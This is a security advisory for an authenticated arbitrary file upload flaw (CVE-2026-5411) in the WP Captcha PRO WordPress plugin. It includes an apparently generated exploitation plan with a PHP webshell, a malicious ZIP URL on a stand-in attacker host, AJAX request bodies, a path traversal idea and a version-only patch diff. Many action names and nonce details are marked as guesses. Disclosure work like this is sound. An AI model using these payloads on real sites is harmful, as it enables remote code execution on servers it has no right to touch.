WP Captcha PRO <= 5.38 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Upload
Description
The WP Captcha PRO (the premium version of the Advanced Google reCAPTCHA plugin, both have the same slug) plugin for WordPress is vulnerable to arbitrary file upload in all versions up to, and including, 5.38. This is due to a capability check in the save_ajax() function of the licensing module, combined with unrestricted file extraction in sync_cloud_protection(). This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files including PHP webshells to the server by injecting a malicious cloud_protection_url into the license meta, which the plugin then downloads and extracts without file type validation into a web-accessible uploads directory. This can be used for remote code execution. Note: The vulnerability can only be exploited with a remote URL if "allow_url_fopen" is enabled in the php.ini config.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=5.38What Changed in the Fix
Changes introduced in v5.39
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5411 (WP Captcha PRO) ## 1. Vulnerability Summary The **WP Captcha PRO** (premium version of Advanced Google reCAPTCHA) is vulnerable to **Remote Code Execution (RCE)** via an authenticated arbitrary file upload. The vulnerability stems from two primary failur…
Show full research plan
Exploitation Research Plan: CVE-2026-5411 (WP Captcha PRO)
1. Vulnerability Summary
The WP Captcha PRO (premium version of Advanced Google reCAPTCHA) is vulnerable to Remote Code Execution (RCE) via an authenticated arbitrary file upload. The vulnerability stems from two primary failures:
- Missing Authorization: The
save_ajax()function in the licensing module (likely within a file likelibs/licensing.phporlibs/ajax-pro.php) lacks a sufficient capability check, allowing users withSubscriberroles to modify license-related metadata. - Unrestricted Extraction: The
sync_cloud_protection()function (inferred) downloads a ZIP file from a user-provided URL (cloud_protection_url) and extracts its contents into a web-accessible directory without validating the file types within the archive.
2. Attack Vector Analysis
- Target Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
wpcaptcha_save_ajaxorwpcaptcha_save_license(inferred from thesave_ajax()function name). - Payload Parameter:
cloud_protection_url(injected into license meta). - Authentication: Authenticated,
Subscriberlevel or higher. - Preconditions:
allow_url_fopenmust be enabled inphp.inifor the remote download to succeed.
3. Code Flow (Inferred from Patch Description)
- Entry Point: An authenticated user (Subscriber) sends a POST request to
admin-ajax.phpwith a specific action (e.g.,action=wpcaptcha_save_settingsor similar). - Authorization Bypass: The
save_ajax()function fails to verify that the current user hasmanage_optionscapabilities. It only verifies authentication or uses a weak check. - Meta Injection: The attacker provides a URL in the
cloud_protection_urlparameter. The plugin saves this into thewpcaptcha_metaoption or a similar configuration key. - Extraction Trigger: The plugin invokes
sync_cloud_protection(). This may happen immediately after saving or via a separate AJAX action (e.g.,action=wpcaptcha_sync_cloud). - Sink:
sync_cloud_protection()usesfile_get_contentsorcopy(facilitated byallow_url_fopen) to download a ZIP from the malicious URL and uses thePclZiplibrary orZipArchiveto extract it into/wp-content/uploads/wpcaptcha/(inferred) without filtering.phpfiles.
4. Nonce Acquisition Strategy
The licensing module likely localizes a nonce for its AJAX operations.
- Identify Page: Licensing settings are usually found at
/wp-admin/admin.php?page=advanced-google-recaptcha-licenseor within a tab in the main settings. - Navigate: Use
browser_navigateto visit the plugin settings page as a Subscriber. - Extract: Use
browser_evalto find the nonce. The plugin enqueues scripts inWPCaptcha_Admin::admin_enqueue_scripts.- Inferred Variable:
window.wpcaptcha_admin?.nonceorwindow.wpcaptcha_licensing?.nonce. - Inferred Action: The nonce is likely created with
wp_create_nonce('wpcaptcha_nonce')orwp_create_nonce('wpcaptcha_license_nonce').
- Inferred Variable:
5. Exploitation Strategy
Step 1: Prepare Malicious Payload
Create a ZIP archive named shell.zip containing a simple PHP backdoor:
<?php echo shell_exec($_GET['cmd']); ?>
Host this file on a remote server (e.g., http://attacker.com/shell.zip).
Step 2: Inject Malicious URL
Send an AJAX request to update the license metadata.
- Method: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Body (URL-Encoded):
action=wpcaptcha_save_ajax&cloud_protection_url=http://attacker.com/shell.zip&_wpnonce=[EXTRACTED_NONCE]
Step 3: Trigger Synchronization
The sync might be automatic, but if not, trigger it manually:
- Method: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Body (URL-Encoded):
action=wpcaptcha_sync_cloud_protection&_wpnonce=[EXTRACTED_NONCE]
Step 4: Execution
Access the uploaded shell.
- URL:
http://<target>/wp-content/uploads/wpcaptcha/shell.php?cmd=id
6. Test Data Setup
- Install Plugin: Install "Advanced Google reCAPTCHA" (PRO version) <= 5.38.
- User Creation: Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - PHP Config: Ensure
allow_url_fopen = Onin the environment'sphp.ini. - Host ZIP: Host a ZIP file containing
shell.phpon a reachable web server.
7. Expected Results
- The
save_ajaxrequest should return a success JSON response (e.g.,{"success":true}). - The
syncoperation should download the ZIP and extract it. - A GET request to the shell URL should return the output of the
idcommand.
8. Verification Steps
After the HTTP exploit, verify the file's existence and content via WP-CLI:
# Check if the directory exists
ls -R /var/www/html/wp-content/uploads/wpcaptcha/
# Check the content of the uploaded file
cat /var/www/html/wp-content/uploads/wpcaptcha/shell.php
# Check the stored option/meta
wp option get wpcaptcha_meta
9. Alternative Approaches
- Tab Persistence: If
save_ajaxis not the correct action, look forwpcaptcha_save_settingsinlibs/ajax.php. The premium version might hook into the same handler but allow additional keys likecloud_protection_url. - Direct Meta Update: Check if the plugin uses
update_user_metaorupdate_post_metain a way that allows a Subscriber to overwrite global plugin options. - Path Traversal: If the extraction allows path traversal (e.g., filenames like
../../shell.php), attempt to write the shell directly into the plugin directory.
Summary
The WP Captcha PRO plugin (premium version of Advanced Google reCAPTCHA) is vulnerable to authenticated arbitrary file upload leading to Remote Code Execution (RCE). A missing capability check in the licensing module's AJAX handler allows Subscriber-level users to modify plugin settings, specifically a remote ZIP file URL that the plugin subsequently downloads and extracts without validating the file types within the archive.
Security Fix
@@ -3,7 +3,7 @@ Plugin Name: Advanced Google reCAPTCHA Plugin URI: https://getwpcaptcha.com/ Description: Advanced Google reCAPTCHA will safeguard your WordPress site from spam comments and brute force attacks. With this plugin, you can easily add Google reCAPTCHA to WordPress comment form, login form and other forms. - Version: 1.35 + Version: 5.39 Author: WebFactory Ltd Author URI: https://www.webfactoryltd.com/ License: GNU General Public License v3.0 @@ -5,7 +5,7 @@ Requires at least: 4.9 Requires PHP: 5.6 Tested up to: 7.0 -Stable tag: 1.35 +Stable tag: 5.39 License: GPLv3 License URI: http://www.gnu.org/licenses/gpl-3.0.html @@ -75,6 +75,9 @@ 9. Plugin settings == Changelog == += 5.39 - 08/06/2026 = +* Updated the free version number to keep the free and PRO releases aligned and avoid confusion around public security advisories. The reported issue (CVE-2026-5411) affected the PRO version only (not the free one) and was already patched, but because both versions share the same plugin slug, some users and automated tools could and did misinterpret the version numbers. Aligning the free version with the PRO version makes it clearer that the installed plugin is current and helps prevent unnecessary concerns + = 1.35 - 05/05/2026 = * Added option to customize "Are you human? Please solve:" text * Fixed reCaptcha v3 token expiration
Exploit Outline
The exploit is achieved by an authenticated Subscriber user through the following steps: 1) Identify the AJAX nonce used for licensing or admin actions, typically found within the dashboard source. 2) Send a POST request to admin-ajax.php with an action like 'wpcaptcha_save_ajax' containing a 'cloud_protection_url' parameter set to a remote server hosting a malicious ZIP file. 3) Trigger the synchronization function, which downloads the ZIP via file_get_contents (requiring allow_url_fopen) and extracts its contents, including PHP shells, into the /wp-content/uploads/wpcaptcha/ directory. 4) Execute the uploaded PHP shell by navigating to its direct URL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.